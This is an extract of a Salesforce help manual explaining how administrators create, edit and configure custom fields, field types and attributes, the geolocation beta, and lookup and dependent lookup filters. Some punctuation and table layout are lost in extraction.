To tailor your organization, you can add custom fields for each of the tabs and objects that your organization uses. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 2182. See the following for more information: Creating Custom Fields Editing Fields Viewing Fields Deleting Fields Building Formulas Defining Dependent Picklists Defining Default Field Values Additional Custom Field Options Custom Field Attributes Changing Custom Field Type

Creating Custom Fields


Available in: Personal, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Relationship fields are not available in Personal Edition Custom settings are not available in Professional Edition Layouts are not available in Database.com

User Permissions Needed To create or change custom fields: Customize Application

Create custom fields to store important information. Before you begin, determine the type of field you want to create. 1. Navigate to the fields area of the appropriate object.

1092

Customize

About Custom Fields

For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. In Custom Fields & Relationships, click New. Tip: You can also set field dependencies and field history tracking on custom objects in this section.

3. Choose the type of field and click Next. Consider the following. Some data types are available for certain configurations only. For example, the Master-Detail Relationship option is available for custom objects only when the custom object doesnt already have a master-detail relationship. Custom settings allow only a subset of the available data types. Relationship fields count towards custom field limits. Additional field types may appear if an AppExchange package using those field types is installed. The Roll-Up Summary option is available on certain objects only. Field types correspond to API data types. See API Data Types and API Field Types in the SOAP API Developer's Guide.

4. For relationship fields, associate an object with the field and click Next. 5. Enter a field label. Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API. See Merge Fields Overview. Tip: Ensure that the custom field name and label are unique for that object. If a standard and custom field have identical names or labels, the merge field displays the custom field value. If two custom fields have identical names or labels, the merge field may display an unexpected value.

If you create a field label called Email and a standard field labeled Email already exists, the merge field may be unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2. 6. Enter field attributes and select the appropriate checkboxes to specify whether the field must be populated and what happens if the record is deleted. 7. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail relationship to be reparented to a different parent record. 8. For relationship fields, optionally create a lookup filter to limit search results for the field. 9. Click Next. 10. In Enterprise, Unlimited, and Developer Editions, specify the field's access settings for each profile, and click Next.

1093

Customize

About Custom Fields

Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field.

Enabled Settings Visible Visible and Read-Only None

Note: When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field is universally required. Profiles with View Encrypted Data permission are indicated with an asterisk.

11. Choose the page layouts that will display the editable field and click Next. Field Normal Long text area User Universally required Location on Page Layout Last field in the first two-column section. End of the first one-column section. Bottom of the user detail page. Cant remove it from page layouts or make read only.

12. For relationship fields, optionally create an associated records related list and add it to page layouts for that object. To edit the related list name on page layouts, click Related List Label and enter the new name. To add the related list to customized page layouts, select Append related list to users existing personal customizations.

13. Click Save to finish or Save & New to create more custom fields. Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed.

See Also:
Custom Field Attributes Notes on Changing Custom Field Types Additional Custom Field Options Additional Options for Updating Picklists Considerations for Universally Required Fields Defining Roll-Up Summaries Managing Deleted Custom Fields Custom Settings Overview Building Formulas Defining Default Field Values

1094

Customize

About Custom Fields

Custom Field Types


The first step in creating a custom field is choosing the type of the field. Below is a description of each custom field type. Additional field types may appear if an AppExchange package using those field types is installed. Type Auto Number Description Automatically assigns a unique number to each record. The maximum length of any auto-number field is 30 characters, 20 of which are reserved for prefix or suffix text. Allows users to check a box, indicating a true or false attribute of a record. When using a checkbox field for a report or list view filter, use True for checked values and False for unchecked values. The import wizards and the weekly export tool use 1 for checked values and 0 for unchecked values. Allows users to enter a currency amount. The system automatically formats the field as a currency amount. This can be useful if you export data to Excel or another spreadsheet. Note: Salesforce uses the round half even tie-breaking rule for currency fields. For example, 23.5 becomes 24, 22.5 becomes 22, 22.5 becomes 22, and 23.5 becomes 24. Values lose precision after 15 decimal places.

Checkbox

Currency

Date

Allows users to enter a date or pick a date from a popup calendar. In reports, you can limit the data by specific dates using any custom date field. Allows users to enter a date or pick a date from a popup calendar and enter a time of day. They can also add the current date and time by clicking the date and time link next to the field. The time of day includes AM or PM notation. In reports, you can limit the data by specific dates and times using any custom date field. Allows users to enter an email address, which is validated to ensure proper format. If this field is specified for contacts or leads, users can choose the address when clicking Send an Email. Note that you can't use custom email addresses for mass emails.

Date/Time

Email

1095

Customize

About Custom Fields

Type Formula

Description Allows users to automatically calculate values based on other values or fields such as merge fields. See Building Formulas on page 1168 and Operators and Functions on page 1230. Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. In Database.com, the Formula editor does not provide a Check Syntax button. Syntax checking occurs when the user attempts to save the formula.

Geolocation

Allows users to specify a location by its latitude and longitude. Geolocation is a compound field that counts toward your organizations limits as three custom fields: one for latitude, one for longitude, and one for internal use. Note: The geolocation field is in beta release and has known limitations. See Geolocation Custom Field OverviewBeta on page 1104 for more information.

Hierarchical Relationship

Creates a hierarchical lookup relationship between users. Allows users to use a lookup field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a custom hierarchical relationship field to store each user's direct manager. Creates a relationship between two records so you can associate them with each other. For example, opportunities have a lookup relationship with cases that lets you associate a particular case with an opportunity. A lookup relationship creates a field that allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that are linked to it. You can create lookup relationship fields that link to users, standard objects, or custom objects. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. For more information on lookup relationships, see Overview of Relationships on page 1827. Lookup relationship fields are not available in Personal Edition.

Lookup Relationship

1096

Customize

About Custom Fields

Type

Description Lookup relationship fields to campaign members are not available; however, lookup relationship fields from campaign members to other objects are available.

Master-Detail Relationship

Creates a relationship between records where the master record controls certain behaviors of the detail record such as record deletion and security. For more information on relationships, see Overview of Relationships on page 1827. Available for custom objects only, although you can create a master-detail relationship field on a custom object that links to a standard object. Master-detail relationships cannot be used with campaign members.

Number

Allows users to enter any number. This is treated as a real number and any leading zeros are removed. Note: Salesforce uses the round half up tie-breaking rule for number fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces specified in the number field configuration.

Percent

Allows users to enter a percentage number, for example, '10'. The system automatically adds the percent sign to the number. Note: If the decimal value is greater than 15, and you add a percent sign to the number, a runtime error occurs. Values lose precision after 15 decimal places.

Phone

Allows users to enter any phone number. Salesforce automatically formats it as a phone number. See Entering Phone Numbers on page 16. If you are using Salesforce CRM Call Center, custom phone fields are displayed with the button, allowing click-to-dial functionality. Consequently, salesforce.com recommends that you do not use a custom phone field for fax numbers.

Picklist Picklist (Multi-select)

Allows users to select a value from a list you define. Allows users to select more than one picklist value from a list you define. These fields display each value separated by a semicolon.

1097

Customize

About Custom Fields

Type Roll-Up Summary

Description Automatically displays the record count of related records or calculates the sum, minimum, or maximum value of related records. The records must be directly related to the selected record and on the detail side of a custom master-detail relationship with the object that contains the roll-up summary field. For example, a custom field called Total Number of Guests displays the number of guest custom object records in the Guests related list. Allows users to enter any combination of letters, numbers, or symbols. You can set a maximum length, up to 255 characters. Allows users to enter any combination of letters, numbers, or symbols that are stored in encrypted form. You can set a maximum length of up to 175 characters. Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact salesforce.com. See also Managing Master Encryption Keys on page 736. Allows users to enter up to 255 characters that display on separate lines similar to a Description field. Allows users to enter up to 32,768 characters that display on separate lines similar to a Description field. You can set the length of this field type to a lower limit, if desired. Any length from 256 to 32,768 characters is allowed. Note that every time you press Enter within a long text area field, a linebreak and a return character are added to the text. These two characters count toward the 32,768 character limit. This data type is not available for activities or products on opportunities. Only the first 254 characters in a rich text area or a long text area are displayed in a report. With the use of a toolbar, users can format the field content and add images and hyperlinks. The toolbar allows the user to undo, redo, bold, italicize, underline, strike-out, add a hyperlink, upload or link to an image, modify alignment, add a numbered or non-numbered list, indent, and outdent. The maximum field size is 32,768 characters, inclusive of all the formatting and HTML tags. Only the first 254 characters in a rich text area or a long text area are displayed in a report. The maximum size for uploaded images is 1MB. Only gif, jpeg and png file types are supported. For more information, see Using Rich Text Area Fields on page 1128. Allows users to enter up to 255 characters of any valid website address. When users click on the field, the URL will open in

Text Text (Encrypted)

Text Area Text Area (Long)

Text Area (Rich)

URL

1098

Customize

About Custom Fields

Type

Description a separate browser window. Note that only the first 50 characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type Notes on Changing Custom Field Types About Roll-Up Summary Fields

Custom Field Attributes


Here is a description of the attributes (in alphabetical order) that make up a custom field entry: Field # Visible Lines Description For long text area fields, set the number of lines to be displayed on edit pages. You can display between 2 and 50 lines (the default is 6 lines). If the text does not fit in the specified number of visible lines, scroll bars will appear. Long text area fields are displayed in their entirety on detail pages and printable views. Option that determines how a roll-up summary field is recalculated after its properties change. Choose Automatic calculation to recalculate a field the next time it is displayed. Choose Force a mass recalculation of this field as a safety net option to force recalculation of the roll-up summary field values. The name used in API SOQL relationship queries. The data type of a field determines what type of information is in the field. For example, an field with the Number data type contains a positive or negative integer. For more information on data types, see Custom Field Types on page 1095. For currency, geolocation, number, and percent fields, the number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. The value to apply when a user creates a new record. For checkbox custom fields, choose Checked or Unchecked as the default value to indicate the default when creating new records. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. See About Default Field Values on page 1179.

Calculation Options

Child Relationship Name Data Type

Decimal Places

Default Value

1099

Customize

About Custom Fields

Field Description

Description Text that describes the custom field. This description is for administration purposes only and does not display to users on record detail and edit pages that include the field. For auto-number fields, enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix or suffix for the number. Begin by entering the required minimum: {0}. This is a placeholder for the auto-number without any leading zeros. Add any prefix to your number before this placeholder and insert any suffix text after the placeholder. Insert any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD}, which always represent the create date of the record. For information on using auto-number formats when entering your Display Format, see Auto-Number Formatting Examples on page 1103.

Display Format

External ID

For each object that can have custom fields, you can set up to three custom text, number, or email fields as external IDs. An external ID field contains record identifiers from a system outside of Salesforce. You can use an external ID field to update or upsert records using the API. When using the API or import wizards for custom objects and solutions, you can use this field to prevent duplicates by also marking the field as Unique. Note: Custom fields marked as Unique count against an object's limit of three External ID fields.

Filter Criteria Formulas

The criteria used to select a group of records to calculate the value of a roll-up summary field. Enter the formula for the custom formula field or custom summary formula for reports. For help on building formulas, see Building Formulas on page 1168. The text that displays in the field-level help hover text for this field. Name of the custom field as you want it to appear. For geolocation fields, determines how the latitude and longitude notation appears in the Salesforce interface. Degrees, Minutes, Seconds A notation for angular measurement that is based on the number 60: there are 360 degrees to a circle, 60 minutes to a degree, and 60 seconds to a minute. Decimal Expresses the value as degrees, and converts the minutes and seconds to a decimal fraction of the degree. Decimal notation does not use

Help Text Label Latitude and Longitude Display Notation

1100

Customize

About Custom Fields

Field

Description cardinal points. North and East are positive values; South and West are negative values. For example, the coordinates for San Francisco can be expressed as follows: Latitude Degrees, 37 46' 30" N Minutes, Seconds Decimals 37.7750 Longitude 122 25' 5" W

122.4183

Regardless of the notation you choose to display in the interface, latitude and longitude are stored in Salesforce as decimals. Length (for text fields) Length (for number, currency, percent fields) Mask Character Mask Type For text fields, the maximum number of characters that a user can enter in a field (up to 255 characters). For number, currency, and percent fields, the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3. For encrypted text fields, determines the character to use for hidden characters. Available options are * and X. For encrypted text fields, determines which characters are hidden and the use of dashes in the field. Masked characters are hidden using the character selected in Mask Character. Available options are: Mask All Characters All characters in the field are hidden. Last Four Characters Clear All characters are hidden but the last four display. Credit Card Number The first 12 characters are hidden and the last four display. Salesforce automatically inserts a dash after every fourth character. National Insurance Number All characters are hidden. Salesforce automatically inserts spaces after each pair of characters if the field contains nine characters. Use this option for UK NINO fields. Social Security Number The first five characters are hidden and the last four display. Salesforce automatically inserts a dash after the third and fifth characters. Social Insurance Number All characters are hidden but the last three display. Salesforce automatically inserts a dash after the third and sixth characters.

1101

Customize

About Custom Fields

Field Master Object Related List Label Related To Required

Description The object on the master side of a master-detail relationship used to display the value of a roll-up summary field. For relationship fields, the title for the related list that displays associated records on the parent record. For relationship fields, the name of the associated object. Makes the field required everywhere in Salesforce. You must specify a default value for required campaign member custom fields. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. See About Universally Required Fields on page 1223.

Roll-Up Type

For roll-up summary fields, choose the type of calculation to make: Type Description

COUNT Totals the number of related records. SUM Totals the values in the field you select in the Field to Aggregate option. Only number, currency, and percent fields are available. Displays the lowest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available. Displays the highest value of the field you select in the Field to Aggregate option for all directly-related records. Only number, currency, percent, date, and date/time fields are available.

MIN

MAX

Starting Number

For auto-number fields, enter a Starting Number that is less than 1 billion. Check Generate Auto Number for existing records... if you would like to automatically number all current records beginning with the starting number you enter. If unchecked, the next record you enter will be assigned the starting number and your existing records will be blank in this field. For leads, only unconverted leads will be assigned a number. An auto-number field can contain up to 10 digits and up to 20 additional characters for your prefix or suffix.

Sharing Setting

For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.

1102

Customize

About Custom Fields

Field Summarized Object Unique

Description The object on the detail side of a master-detail relationship used to provide the values calculated in a roll-up summary field. If checked, prevents duplicate field values. For text fields, you can control whether values that are identical except for their case are considered unique. Select Treat "ABC" and "abc" as duplicate values to enforce case-insensitive uniqueness, or select Treat "ABC" and "abc" as different values to enforce case-sensitive uniqueness. Note: Custom fields marked as Unique count against an object's limit of three External ID fields.

Values

For picklist fields, a list of available values (up to 255 characters for each value). For picklists, select the appropriate checkbox to alphabetize the picklist entries. You can also set the first value as the default selection. If you mark both boxes, Salesforce first alphabetizes the entries and then sets the first alphabetized value as the default. For multi-select picklists, enter a list of values, check the sorting options that apply, and enter how many values you want displayed at a time on edit pages, which determines the box height.

Auto-Number Formatting Examples Use these examples when setting the display format for auto-number fields. Format {0} {000} Sample- {00000} Value- {00} {MM} {DD} {YY} PO #{0} {MM}-{DD}-{YY} Displayed Values 3 66 103 003 066 103 Sample- 00003 Sample- 00666 Sample- 10023 Value- 03 12 02 04 Value- 76 03 03 04 Value- 123 11 09 04 PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04

See Also:
Creating a Many-to-Many Relationship Web Services API Developer's Guide

1103

Customize

About Custom Fields

Geolocation Custom Field OverviewBeta


The geolocation custom field, which is available in a beta release, allows you to identify locations by their latitude and longitude and calculate distances between locations. Available in: All Editions

The geolocation custom field allows you to create a field that identifies a location by its latitude and longitude. You can then use the geolocation field with the DISTANCE and GEOLOCATION formula functions to calculate distances between locations. For example, you can calculate the distance between two geolocation fields (such as between the warehouse and the store), or between a geolocation field and any fixed latitude-longitude coordinates (such as between the warehouse and 37.775, 122.418, also known as San Francisco). Note: This is a beta release of geolocation and its functionality has known limitations, outlined here. To provide feedback on geolocation, go to IdeaExchange. Geolocation is a compound field that counts toward your organizations limits as three custom fields: one for latitude, one for longitude, and one for internal use. In this beta release, support for the compound field (geolocation) vs. the fields components (latitude and longitude) varies depending on the functionality youre using in Salesforce. For example, you can create list views that show the field and its components, but you cant select the compound geolocation field in Apex; you can only run SOQL queries on a geolocation fields components. Other limitations of this geolocation beta release include: History tracking is not available for geolocation fields. Geolocation fields are not supported in custom settings. Geolocation fields are not available in reports, dashboards, validation rules, Visual Workflow, or workflow and approvals. Geolocation fields cannot be searched. Geolocation fields are not available in Schema Builder. DISTANCE and GEOLOCATION formula functions are available only when creating formula fields and in Visual Workflow. Geolocation is supported in Apex only through SOQL queries, and only at the component level.

See Also:
Custom Field Types Custom Field Attributes Operators and Functions

1104

Customize

About Custom Fields

Editing Fields
Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To create or change fields: Customize Application

1. 2. 3. 4.

For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. Click Edit next to the fields name. Modify the field attributes. The attributes differ depending on the field type. To change the type of your custom field, see Changing Custom Field Type on page 1279. To make changes to picklists: Click Rename next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change additional information. Click Del next to a value to remove it from the picklist. Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values or leave your existing data unchanged. Click New to add values to the picklist. If you use record types, select any record types that you want to include the new values. Click Reorder to change the sequence of picklist values. Click Replace to change the values of picklist fields in existing records. Click Printable View to open an easy-to-print list of your picklist values. Click Chart Colors and select an option to assign colors to picklist values for use in charts: Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example, if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that picklist value. Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned dynamically. Manual assignments are overridden each time you click an option in Chart Colors. Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, Knowledge Validation Status, and Opportunity Competitor picklists.

1105

Customize

About Custom Fields

5. 6. 7. 8.

Optionally, define custom help text for the field. For lookup and master-detail relationship fields, optionally define a lookup filter. For formula fields, click Next to modify the formula. See Building Formulas on page 1168. In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Field-Level Security Overview on page 671. 9. Click Save. Note: Editing fields may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed. To customize the way a custom objects related list appears on a parent records detail page, edit the parent records page layout. For example, if you want to edit which fields appear on a custom objects related list on accounts, you would edit the account page layout. You cannot change the Field Name if a custom field is referenced in Apex. When editing fields for accounts, opportunities, cases, contacts, or custom objects, check for any criteria-based sharing rules that use the field in the rules. A field change may affect which records are shared.

See Also:
Changing Custom Field Type Field-Level Security Overview Additional Custom Field Options Additional Options for Updating Picklists Considerations for Universally Required Fields Defining Default Field Values About Universally Required Fields Managing Deleted Custom Fields

About Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To manage lookup filters: Customize Application

Improve user productivity and data quality with lookup filters. Lookup filters are administrator settings that restrict the valid values and lookup dialog results for lookup, master-detail, and hierarchical relationship fields. Administrators specify the restrictions by configuring filter criteria that compare fields and values on: The current record (source)

1106

Customize

About Custom Fields

The lookup object (target) The user's record, permissions, and role Records directly related to the target object

For example, you can: Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out Partner and Competitor. Restrict the Account Name field on opportunities to allow only active accounts. Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name field on the case record. Restrict the Account Name field on cases to allow only users with the International Sales profile to create or edit cases for accounts outside the United States. Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of lookup filter criteria that Salesforce suggests based on the relationships between objects in your organization. Administrators can make lookup filters required or optional. For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also, users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value, Salesforce displays an error message, which administrators can customize. For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save such values.

See Also:
Notes on Lookup Filters About Dependent Lookups Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

About Dependent Lookups


Available in: All Editions

User Permissions Needed To manage dependent lookups: Customize Application

A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can configure the case Contact field to only show contacts associated with the account selected in the case Account Name field.

1107

Customize

About Custom Fields

When a user changes the value of a referenced field on the source object, Salesforce immediately verifies that the value in the dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, an error message is displayed and users can't save the record until the value is valid. If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing. Instead, users must click the lookup icon and select a value in the lookup search dialog.

See Also:
About Lookup Filters Notes on Lookup Filters Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Notes on Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To manage lookup filters: Customize Application

Best Practices Custom Help Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example, if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that states You can only associate active accounts with opportunities. Error Messages Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't exist or isn't an active account. Important: Salesforce translates the standard error message for required lookup filters, but not custom error messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore the standard error message after modifying it, click Reset to default message. Profile-Based Lookup Filters Use Current User Profile: ID in filter criteria to define different filter criteria for different users, or to let administrators enter values that don't match the criteria. Avoid using Current User Profile: Name due to technical limitations on standard profiles. See Lookup Filter Examples on page 1114.

1108

Customize

About Custom Fields

Record IDs vs. Record Names To reference a specific record in filter criteria, use the ID of the record instead of its name. IDs are always unique whereas names are not. Testing After creating a lookup filter, test it to make sure it is not too restrictive. Depending on their permissions, some users may have read-only access to some relationship fields; ensure your lookup filters don't prevent those users from editing records critical to their job functions. Dependent Lookups on Page Layouts and Mini Page Layouts in the Console When designing page layouts with dependent lookups: If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout. Moving a required dependent lookup above its controlling field may confuse users who typically start from the top of a page when entering data. Ensure that both the controlling and dependent fields are visible so users can correct invalid values.

Lookup Filters and the Lookup Filter Fields Search Layout Do not reference the same fields in both lookup filter criteria and the Lookup Filter Fields search layout. Users might assume that results from their custom search override administrator-controlled lookup filters. Implementation Notes Salesforce supports lookup filters on relationship fields that point to: Accounts Assets Contacts Entitlements Quotes Service contracts Users Custom objects

For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa. Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as the fields are compatible. Source Object Field Type Currency Date Date/Time Hierarchy Lookup Master-Detail Number Percent Compatible Target Object Field Types Currency, Roll-Up Summary Date, Date/Time, Roll-Up Summary Date, Date/Time, Roll-Up Summary Hierarchy, Lookup, Master-Detail Hierarchy, Lookup, Master-Detail Lookup, Hierarchy, Master-Detail Number, Percent, Roll-Up Summary Number, Percent, Roll-Up Summary

1109

Customize

About Custom Fields

Picklist Roll-Up Summary

Text, Text Area, Email, URL Currency, Number, Date, Date/Time, Roll-Up Summary

Lookup filter criteria cannot reference the following types of fields on the source object: Autonumber Encrypted Formula Long text area Multi-select picklist Roll-up summary Text Text area URL

On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter is required. If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria, Salesforce displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than typing profile names. The lookup filters you create in Salesforce also appear in the partner portal and Customer Portal. Lookup filters are case-sensitive. If you convert a required lookup filter with a custom error message to optional, Salesforce deletes the message. If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits the record, Salesforce displays an error message and requires the user to change the invalid value before saving. Salesforce prevents you from saving changes that cause required lookup filters on related records to contain invalid values. Lookup auto-completion doesn't work for user lookups with additional drop-down lists. This is primarily for organizations that have set up either a partner portal or Customer Portal. Salesforce ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead Convert checkbox on the Lead Settings page is deselected. Versions 16.0 and higher of the Salesforce API support lookup filters. Lookup filters are enforced when you load data through the API. If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users are never valid for relationship fields that point to the User object. In enhanced list views, you cannot change fields that a dependent lookup filter criteria references. Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a mass owner change can result in incorrect values that won't be noticed until you attempt to save the record. Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support. If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization at the same time. Salesforce does not display an error message if the value of a controlling field invalidates the value of a dependent master-detail relationship field. Salesforce does not support inline editing in list views for: Fields on the source object that are referenced in dependent lookups. Fields with dependent lookups.

1110

Customize

About Custom Fields

Spanning Relationships in Lookup Filters Filter criteria can include fields directly related to the target object (one level only). For example, on a lookup field pointing to contacts, a lookup filter can reference fields on the account related to the contact via the Account Name relationship field. The lookup field can also reference fields on the contact related to the contact via the Reports To relationship field. For required lookup filters, each field referenced on a related lookup object counts against the number of unique relationships allowed for the referenced object, not the source object. For example, the two unique relationships described above count against the number allowed for the Contact object. Optional lookup filters don't count against the limit on the number of unique relationships allowed per object. To see which lookup filters affect the limit for a particular target object: For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click Related Lookup Filters. For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll to the Related Lookup Filters related list.

Lookup Filters vs. Validation Rules Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if: You want to improve user efficiency by limiting the number of available options in a lookup search dialog. You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if: You're close to the maximum number of lookup filters allowed. You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example, use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Other Limitations Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and custom objects, with the following exceptions: Relationship fields on activities System fields that are always read only, such as Created By and Modified By Relationship fields that support queues, such as Case Owner and Lead Owner Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce your business rule when a user saves. Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an Expected Revenue field value greater than 100,000, regardless of the currency. You can't use special date values, such as Today or This Month, in lookup filter criteria. You can't delete fields that are referenced in an active lookup filter. You can't change the field type of fields referenced by an active lookup filter.

Using Lookup Filters with Person Accounts If your organization uses person accounts, note the following:

1111

Customize

About Custom Fields

Person Accounts don't support Contact filters; however, Person Accounts support Account filters. For example, if the Account field has a dependent lookup filter that's added to a Person Account, dependent lookups are supported. If the Contact field has a dependent lookup filter that's added to a Person Account, dependent lookups isn't supported. Lookup filter criteria on Account Name only apply to business accounts, not person accounts. For example, if your lookup filter criteria is Account Name does not contain book, business accounts with "book" in the name, such as John's Bookstore, are not valid, but person accounts with book in the name, such as John Booker, are valid and appear in the lookup dialog for the Account field. If you need to filter on the name for a person account, use the First Name or Last Name fields instead. Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one type of account (either person accounts or business accounts). For example, to restrict a lookup to only person accounts, include the following in your lookup filter criteria: Is Person Account equals True. You can't package lookup filters that reference standard fields specific to person accounts, such as the Email and Title fields.

See Also:
About Lookup Filters About Dependent Lookups Defining Lookup Filters Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Defining Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed To define lookup filters: "Customize Application"

To define a lookup filter: 1. You can create lookup filters for new relationship fields in step 3 of the custom field wizard. To create a lookup filter on an existing field: a. Navigate to the fields area of the object that contains the relationship field: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter. 2. In the Lookup Filter Options section, click Show Filter Settings. 3. Specify the filter criteria a record must meet to be a valid value. To specify criteria, click Insert Suggested Criteria and choose from a list of suggested criteria, or manually enter your own criteria. To enter your own criteria:

1112

Customize

About Custom Fields

a. In the first column, click the lookup icon or start typing in the text box and select a field. b. In the second column, select an operator. c. In the third column, select Value if Salesforce should compare the field in the first column with a static value, or select Field if Salesforce should compare the field in the first column with the value of another field. d. In the fourth column, enter the value or select the field that Salesforce should compare with the field in the first column. Note: Click Add Filter Logic to add Boolean conditions. You can select from fields on the current record, the lookup object, or the user record. You can also choose related fields that are one relationship away from the lookup object. Salesforce assists you by listing the available fields and relationships when you click the lookup icon or click inside the text boxes. Lookup filter criteria can compare fields of different types as long as they are compatible.

